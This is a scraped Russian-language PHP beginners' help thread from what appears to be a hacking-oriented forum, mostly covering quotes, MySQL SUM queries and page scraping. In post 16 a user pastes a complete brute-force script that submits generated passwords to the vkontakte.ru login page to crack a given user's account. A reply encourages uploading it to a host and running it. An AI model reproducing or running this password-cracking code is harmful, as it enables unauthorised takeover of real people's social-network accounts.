[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. MafiaBoy3

    MafiaBoy3 Banned

    Joined:
    14 Apr 2007
    Messages:
    295
    Likes Received:
    15
    Reputations:
    1
    Спасибо, теперь всё нормально но почему " использовать за место '
     
  2. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Потому что внутри одинарных кавычек пхп не воспринимает переменные
     
    _________________________
  3. MafiaBoy3

    MafiaBoy3 Banned

    Joined:
    14 Apr 2007
    Messages:
    295
    Likes Received:
    15
    Reputations:
    1
    А как сделать чтобы в mysql присвоение индентификатора начиналось не с нуля а с единицы. У меня щас 0
     
  4. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    PHP:
    $r mysq_fetch_array($resultMYSQL_ASSOC);
    //$r = mysql_fetch_assoc($result);
    print_r($r);
    увидишь, что так - гораздо удобнее.
     
  5. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    Мля, теперь я допереть не могу =\
    В mysql есть некое поле, которое содержит цифры как положительные так и отрицательные. Как посчитать сумму этих чисел?
     
  6. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    select SUM(amount) as amount from table
     
    1 person likes this.
  7. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    Спасибо) не додумался
     
  8. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    перехватывать заголовки контент рейндж.. и уже брать файл с удаленого сервера с ними...
    тут чисто описание протокола http тебе надо
     
  9. XopoIII

    XopoIII Elder - Старейшина

    Joined:
    29 Oct 2007
    Messages:
    386
    Likes Received:
    30
    Reputations:
    0
    проблемка....ниразу не грбил страницы...каким образом их грабят? мне нужно со странички вырывать определенную инфу если она есть, ну и потом уже забиват себе в базу и выводить, спасиб
     
  10. Shadow_p1raT

    Shadow_p1raT Elder - Старейшина

    Joined:
    9 Mar 2008
    Messages:
    174
    Likes Received:
    93
    Reputations:
    0
    На пыхе(php) есть пару функций.
    preg_match();
    preg_match_all();
    Документация:
    preg_match();
    preg_match_all();

    Неплохая статья по регуляркам.
    http://pyha.ru/forum/topic/19.0
     
    #4230 Shadow_p1raT, 23 Jul 2008
    Last edited: 23 Jul 2008
    1 person likes this.
  11. 5triker

    5triker Elder - Старейшина

    Joined:
    5 Apr 2007
    Messages:
    62
    Likes Received:
    41
    Reputations:
    1
    как вариант прочитать файл с помощью file_get_contents() , записать к себе и выдавать потом ссылку уже на локальный файл
     
  12. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    1. С заголовка получаешь текушую позицию (хз какие поля, щяс времени нет проверят, чишу логи)
    2. Соеденяешься с серваком через fopen()
    3. Начинаешь читать в цыкле, начиная с той позиции, где остановилось через fread()
     
  13. lisa99

    lisa99 Banned

    Joined:
    15 Jul 2008
    Messages:
    359
    Likes Received:
    200
    Reputations:
    70
    пример здесь (не мой =) )
    http://protoplex.ru/scripts/22.zip
    жаль, они бросили свою cms ((
    статья кратенькая о парсинге
    http://mikhail.voronkov.biz/articles/distributed_httpgrubber.html
    и вот еще..
    во мнигих cms выпустили модули парсинга чужих новостей..для wordpress, slaed,joomla, dle
    где-то открыт код, где-то нет- смотрите как примеры
     
  14. superboys

    superboys Elder - Старейшина

    Joined:
    1 Feb 2008
    Messages:
    61
    Likes Received:
    3
    Reputations:
    1
    Кто подскажет правильный синтаксис функции escapeshellcmd( ) или может есть новей против выполнения команд подрывающих безопасность?
     
  15. Тик-так

    Тик-так Banned

    Joined:
    22 Jul 2008
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    http://php.su/functions/?escapeshellcmd
     
  16. DIOL

    DIOL New Member

    Joined:
    20 Jul 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    -5
    Народ подскажите, вот наткнулся на такой скрипт. Как ним пользоваться?
    <?
    // Открывает страничку с полем для ввода сообщений
    function produceQuery($url, $post, $username = false, $passowrd = false) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
    curl_setopt($ch, CURLOPT_URL,$url);
    curl_setopt($ch, CURLOPT_FAILONERROR, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_AUTOREFERER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt ($ch, CURLOPT_COOKIEJAR, "cv.txt");
    curl_setopt($ch, CURLOPT_COOKIEFILE,"cv.txt");
    curl_setopt($ch, CURLOPT_POST, 1); // set POST method
    // Здесь как раз перечисляются передаваемые параметры
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);

    $html = curl_exec($ch);

    curl_close($ch);

    // Вернуть результат
    return $html;
    }

    function checkPass($username, $password) {
    $post = "email=$username&pass=$password&submit=$submit&fail_url=$fail_url&success_url=$success_url&try_to_login=1";
    $answer = produceQuery("http://vkontakte.ru/login.php", $post);

    $answer = iconv("UTF-8", "Windows-1251", $answer);

    if(preg_match("/Моя Страница/", $answer, $out)) {
    echo true;
    } else {
    return false;
    }
    }

    if(isset($_REQUEST['submit'])) {
    // Открываем файл, в который будем записывать обработанные пароли
    $file = fopen("pass.txt", "w");
    // Алфавит взлома
    $skey = " 1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDF GHJKLZXCVBNM";
    $length = strlen($skey);
    $length--;

    // Логин пользователя: предположительно известен
    $username = $_REQUEST['login'];
    //$username = "";

    // Предполагаемый Пароль
    $password = "";

    // Подбираем пароль: максимум из 10 знаков
    for ($i1 = 1; $i1 <= $length; $i1++) {
    for ($i2 = 1; $i2 <= $length; $i2++) {
    for ($i3 = 1; $i3 <= $length; $i3++) {
    for ($i4 = 1; $i4 <= $length; $i4++) {
    for ($i5 = 1; $i5 <= $length; $i5++) {
    for ($i6 = 1; $i6 <= $length; $i6++) {
    $password = $skey[$i6] . $skey[$i5] . $skey[$i4] . $skey[$i3] . $skey[$i2] . $skey[$i1];
    $password = trim($password);

    if(checkPass($username, $password)) {
    // пароль найтиен!
    fwrite($file, $password . " PASSWORD CRACKED!!!" . "\n");
    fclose($file);
    exit;
    } else {
    // Пароль не подошел, просто записать его в файл
    fwrite($file, $password . "\n");
    }

    }

    }

    }

    }

    }

    }

    }
    ?>

    <h2>Взлом пароля в vkontakte.ru</h2>

    <form action="" method="POST">
    Логин пользователя <input type="text" name="login" style="width: 200px;">
    <input type="submit" name="submit" value="Отодрать">
    </form>
     
  17. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Заливай на подходящий хостинг и вперед, в чем проблемма то?
     
  18. .Begemot.

    .Begemot. Elder - Старейшина

    Joined:
    27 Mar 2007
    Messages:
    148
    Likes Received:
    233
    Reputations:
    0
    Как по средствам php сохранить страницу на сервер?
    Вот эту к примеру - http://old.antichat.ru/txt/old/mail.shtml
    Без картинок, без всего, только сам код.
     
    1 person likes this.
  19. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    PHP:
    $page file_get_contents('ссылка'); //забираем страницу с удалённого сервера
    $f fopen('page.txt'"a+");
    fwrite($f$page); // записываем её в файл
    fclose($f);    
    после запуска скрипта смотри код своей страницы в файле page.txt
     
    1 person likes this.
  20. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    А не проще так

    PHP:
    file_put_contents('page.txt',file_get_contents$url ));
    ;)
     
    1 person likes this.
Thread Status:
Not open for further replies.